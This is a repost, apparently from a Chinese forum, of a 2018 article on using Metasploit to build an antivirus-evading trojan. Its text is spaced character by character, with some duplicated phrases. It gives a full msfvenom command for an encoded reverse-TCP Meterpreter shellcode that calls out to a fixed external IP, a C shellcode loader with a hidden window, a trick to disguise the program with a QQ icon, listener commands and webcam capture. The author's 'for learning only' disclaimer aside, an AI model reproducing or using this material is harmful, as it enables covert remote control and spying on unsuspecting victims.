搜索

[12592] 2018-04-16_Metasploit的简单木马免杀技术及后渗透面临的问题

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-18
2018-04-16_Metasploit的简单木马免杀技术及后渗透面临的问题 M e t a s p l o i t 的 简 单 木 马 免 杀 技 术 及 后 渗 透 面 临 的 问 题 c u r e a l l   F r e e B u f   2 0 1 8 - 0 4 - 1 6 P S ： 本 文 仅 用 于 技 术 交 流 与 分 享 ， 严 禁 用 于 非 法 用 途 ： 本 文 仅 用 于 技 术 交 流 与 分 享 ， 严 禁 用 于 非 法 用 途 一 一 .   配 置 配 置 n g r o k 准 备 内 网 穿 透 准 备 内 网 穿 透 内 网 穿 透 的 必 要 性 和 原 理 就 不 用 说 了 ， 直 接 说 操 作 。 首 先 到 内 网 穿 透 的 必 要 性 和 原 理 就 不 用 说 了 ， 直 接 说 操 作 。 首 先 到 n g r o k 官 网 去 注 册 一 个 号 ， 国 内 也 有 一 个 官 网 去 注 册 一 个 号 ， 国 内 也 有 一 个 s u n n y n g r o k ， 但 是 我 用 了 几 次 全 失 败 了 ， 所 以 推 荐 国 外 的 ， 网 址 是 ： ， 但 是 我 用 了 几 次 全 失 败 了 ， 所 以 推 荐 国 外 的 ， 网 址 是 ： h t t p s : / / n g r o k . c o m / 。 。 我 注 册 的 时 候 面 临 验 证 码 刷 不 出 来 ， 所 以 建 议 选 择 用 g i t h u b 账 号 登 陆 就 好 。 登 陆 好 之 后 就 在 k a l i 下 载 好 对 应 版 本 的 客 户 端 。 下 载 好 之 后 你 需 要 在 k a l i 上 用 他 给 你 的 凭 证 进 行 登 陆 — — 命 令 行 输 入 . / n g r o k   a u t h t o k e n   （ 你 的 凭 证 字 符 串 ） 。 凭 证 可 以 在 官 网 上 复 制 。 然 后 接 着 输 入 ： 这 的 1 2 3 4 是 你 本 地 的 端 口 ， 出 现 如 下 画 面 说 明 你 成 功 了 , 然 后 让 他 一 直 开 着 。 . / n g r o k   t c p   1 2 3 4
左 边 就 是 给 你 用 的 端 口 ， 右 边 就 是 你 本 地 的 端 口 然 后 你 可 以 通 过 p i n g 这 个 给 你 的 网 址 得 到 I P ， 这 个 是 p i n g 不 通 的 ， 不 过 可 以 得 到 I P 就 可 以 了 。 这 个 每 次 重 新 穿 透 的 时 候 都 会 更 换 远 程 端 口 ， 这 是 比 较 e g g 疼 的 ， 不 过 免 费 嘛 ， 算 可 以 了 。 二 二 . 木 马 的 伪 装 与 简 单 免 杀 木 马 的 伪 装 与 简 单 免 杀 木 马 面 临 的 最 基 本 的 问 题 就 是 免 杀 ， 如 果 不 能 免 杀 ， 被 杀 毒 软 件 发 现 ， 其 作 用 几 乎 为 零 ， 至 于 怎 么 感 染 别 人 ， 就 得 看 你 的 忽 悠 能 力 或 者 U S B 的 方 式 ， 但 是 首 要 的 应 该 是 免 杀 。 我 采 用 的 是 比 较 简 单 的 免 杀 方 式 ， 依 靠 m s f 生 成 的 s h e l l c o d e 免 杀 。 在 命 令 行 输 入 ： 这 里 的 p a y l l o a d 选 择 w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p ， L H O S T 和 L P O R T 分 别 填 n g r o k 给 你 的 网 址 和 端 口 ， - e x 8 6 / s h i k a t a _ g a _ n a i   - i   1 5 是 用 - e   x 8 6 / s h i k a t a _ g a _ n a i 编 码 1 5 次 ， 而 P r e p e n d M i g r a t e = t r u e P r e p e n d M i g r a t e P r o c = s v c h o s t . e x e 使 这 个 程 序 默 认 会 迁 移 到 s v c h o s t . e x e 进 程 ， 自 己 测 试 的 时 候 不 建 议 到 这 个 进 程 而 是 其 他 的 持 久 进 程 ， 这 样 别 人 打 开 之 后 就 无 法 再 常 规 的 去 关 闭 回 连 的 会 话 。 你 还 可 以 使 用 w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p _ r c 4 这 个 p a y l o a d , 对 会 话 进 行 加 密 ， 增 加 免 杀 能 力 。 相 信 大 家 都 试 过 ， 直 接 输 出 e x e 文 件 就 算 注 入 其 他 软 件 和 进 行 编 码 n 遍 也 会 马 上 被 查 杀 出 来 。 多 次 测 试 发 现 用 x 8 6 / s h i k a t a _ g a _ n a 编 码 超 过 1 2 次 以 上 再 通 过 s h e l l c o d e 编 译 出 来 都 能 免 杀 。 如 下 图 你 的 桌 面 会 有 一 个 s h e l l c o d e . c 文 件 m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   - a   x 8 6   - - p l a t f o r m   w i n d o w s   L H O S T = 5 2 . 1 4 . 6 1 . 4 7   L P O R T = 1 3 0 9 8   - e   x 8 6 / s h i k a t a _ g a _ n a i   - i   1 5   - b   ' x 0 0 '   P r e p e n d M i g r a t e = t r u e   P r e p e n d M i g r a t e P r o c = s v c h o s t . e x e   - f   c   >   / r o o t / D e s k t o p / s h e l l c o d e . c
将 其 移 到   w i n d o w s , 用 记 事 本 打 开 会 有   ： u n s i g n e d   c h a r   b u f [ ]   = ” 一 长 串 数 字 ” 接 着 就 开 始 编 译 木 马 ， 我 使 用 的 是 v s 2 0 1 5 下 载 链 接 ： h t t p s : / / p a n . b a i d u . c o m / s / 1 B g x Z e C T Z o F v p m _ l h x c R X C w   密 码 ： b c h i 在 v i s u a l   s t u d i o 下 新 建 一 个 c + + 的 w i n 3 2 项 目 将 以 下 代 码 模 板 复 制 进 去 ， 在 把 你 得 到 的 s h e l l c o d e 那 长 串 数 字 复 制 到 s h e l l c o d e 的 位 置 。 编 译 方 法 网 上 有 很 多 种 ， 这 个 时 候 已 经 可 以 编 译 了 ， 但 是 我 们 还 可 以 对 图 标 进 行 更 改 伪 装 ： 右 击 你 的 项 目 - → 添 加 - → 资 源 - → 图 标 - → 新 建 , 再 用 电 脑 的 搜 索 查 找 * . i c o n ， 找 到   Q Q 的 图 标 找 到 你 这 个 项 目 的 文 件 夹 下 会 有 一 个 1 i c o n . i c o 文 件 ， 将 Q Q 的 图 标 改 成 1 i c o n . i c o ， 拖 进 去 替 换 掉 原 来 的 那 个 图 标 文 件 然 后 v s 平 台 就 会 出 现 下 图 ： # i n c l u d e < s t d i o . h > # i n c l u d e < w i n d o w s . h > # p r a g m a   c o m m e n t ( l i n k e r , " / s u b s y s t e m : " w i n d o w s "   / e n t r y : " m a i n C R T S t a r t u p " " )                                                 / / 去 除 窗 口 u n s i g n e d   c h a r   s h e l l c o d e [ ] =   （ 这 里 就 是 s h e l l c o d e ） v o i d   m a i n ( ) {   L P V O I D   M e m o r y   =   V i r t u a l A l l o c ( N U L L ,   s i z e o f ( s h e l l c o d e ) ,   M E M _ C O M M I T   |   M E M _ R E S E R V E ,   P A G E _ E X E C U T E _ R E A D W R I T E ) ;   m e m c p y ( M e m o r y ,   s h e l l c o d e ,   s i z e o f ( s h e l l c o d e ) ) ;   ( ( v o i d ( * ) ( ) ) M e m o r y ) ( ) ; }
这 个 时 候 你 再 编 译 出 来 就 会 是 一 个 Q Q 图 标 的 木 马 。 具 体 情 况 下 你 可 以 以 此 方 法 任 意 改 图 标 再 重 命 名 ， 使 你 的 木 马 更 加 具 有 迷 惑 性 。 我 们 再 使 用 国 内 普 遍 的 3 6 0 杀 毒 软 件 测 试 一 下 效 果 ， 证 明 可 以 免 杀 了 只 要 在 不 影 响 s h e l l c o d e 的 情 况 下 ， 你 可 以 对 这 个 程 序 再 增 加 扩 展 （ 就 看 你 的 c 语 言 功 底 了 ） ， 比 如 这 里 使 用 # p r a g m a c o m m e n t ( l i n k e r , ” / s u b s y s t e m : ” w i n d o w s ”   / e n t r y : ” m a i n C R T S t a r t u p ” ” ) 隐 藏 程 序 窗 口 ， 并 用 这 个 程 序 取 代 快 捷 方 式 ， 再 通 过 这 个 程 序 调 用 原 来 真 正 的 程 序 基 本 就 神 不 知 鬼 不 觉 了 。 其 次 就 是 建 议 各 位 在 测 试 自 己 的 木 马 时 一 定 要 关 闭 云 端 上 传 功 能 ， 3 6 0 会 收 集 可 以 软 件 ， 上 传 云 端 检 测 ， 然 后 备 份 通 杀 ， 所 以 你 的 木 马 没 准 今 天 还 可 以 免 杀 ， 明 天 就 全 国 联 保 了 。 心 疼 被 吃 的 一 个 马 。
三 三 . m e t e r p r e t e r 后 渗 透 功 能 测 试 后 渗 透 功 能 测 试 先 配 置 好 监 听 端 注 意 L H O S T 和 L P O R T 配 置 为 之 前 和 n g r o k 绑 定 的 本 地 的 端 口 ! ! 然 后 等 待 别 人 运 行 我 们 的 木 马 。 如 下 就 是 成 功 了 。 然 后 我 让 远 在 异 地 的 女 友 和 我 的 室 友 帮 我 测 试 了 一 下 ， 结 果 也 是 成 功 的 ， 具 体 你 们 也 可 以 试 试 。 这 个 时 候 你 基 本 可 以 操 控 很 多 功 能 了 。 但 是 我 又 发 现 3 6 0 的 行 为 检 测 会 阻 止 m e t e r p r e t e r 许 多 功 能 ， 简 单 的 g e t s y s t e m 提 权 绝 对 失 败 ， 通 过 哈 希 传 递 和 假 冒 令 牌 的 方 式 提 权 ， 都 会 被 报 可 疑 程 序 在 调 用 驱 动 ， 甚 至 拍 照 都 会 报 可 以 程 序 在 调 用 摄 像 头 （ 部 分 电 脑 不 会 报 ） 然 后 m s f 会 收 到 一 张 3 6 0 的 调 戏 图 ： u s e   e x p l o i t / m u l t i / h a n d l e r s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p s e t   L H O S T   1 2 7 . 0 . 0 . 1 s e t   L P O R T   1 2 3 4 e x p l o i t
但 是 你 接 着 第 二 次 使 用 ： 又 不 会 报 并 且 拍 照 成 功 （ 很 奇 怪 ） 再 至 于 常 规 的 持 久 化 控 制 命 令 不 是 失 败 就 是 会 被 3 6 0 查 杀 并 将 我 们 的 木 马 曝 光 （ 十 分 危 险 ） ， 而 如 果 尝 试 关 闭 3 6 0 的 进 程 则 其 核 心 进 程 又 无 法 关 闭 ， 又 尝 试 运 行 3 6 0 的 卸 载 程 序 ， 结 果 又 报 可 以 程 序 在 调 用 3 6 0 部 分 文 件 ， 非 常 恼 火 。 据 说 通 过 删 除 系 统 文 件 夹 就 可 以 卸 载 3 6 0 了 ， 不 过 不 建 议 ， 因 为 那 等 于 暴 露 了 。 希 望 这 篇 文 章 能 够 帮 助 大 家 的 学 习 ， 但 是 这 些 技 术 仅 供 学 习 使 用 ， 切 不 可 用 这 些 技 术 做 非 法 的 事 ， 合 法 上 网 从 我 做 起 以 上 就 是 对 于 m s f 的 简 单 利 用 ， 我 还 是 一 个 渗 透 学 习 路 上 的 菜 鸟 ， 欢 迎 大 家 提 出 过 程 中 的 问 题 ， 或 者 为 后 渗 透 的 问 题 提 供 解 决 办 法 和 思 路 ， 谢 谢 大 家 * 本 文 原 创 作 者 ： 本 文 原 创 作 者 ： c u r e a l l ， 本 文 属 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 W e b c a m _ s n a p   1
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理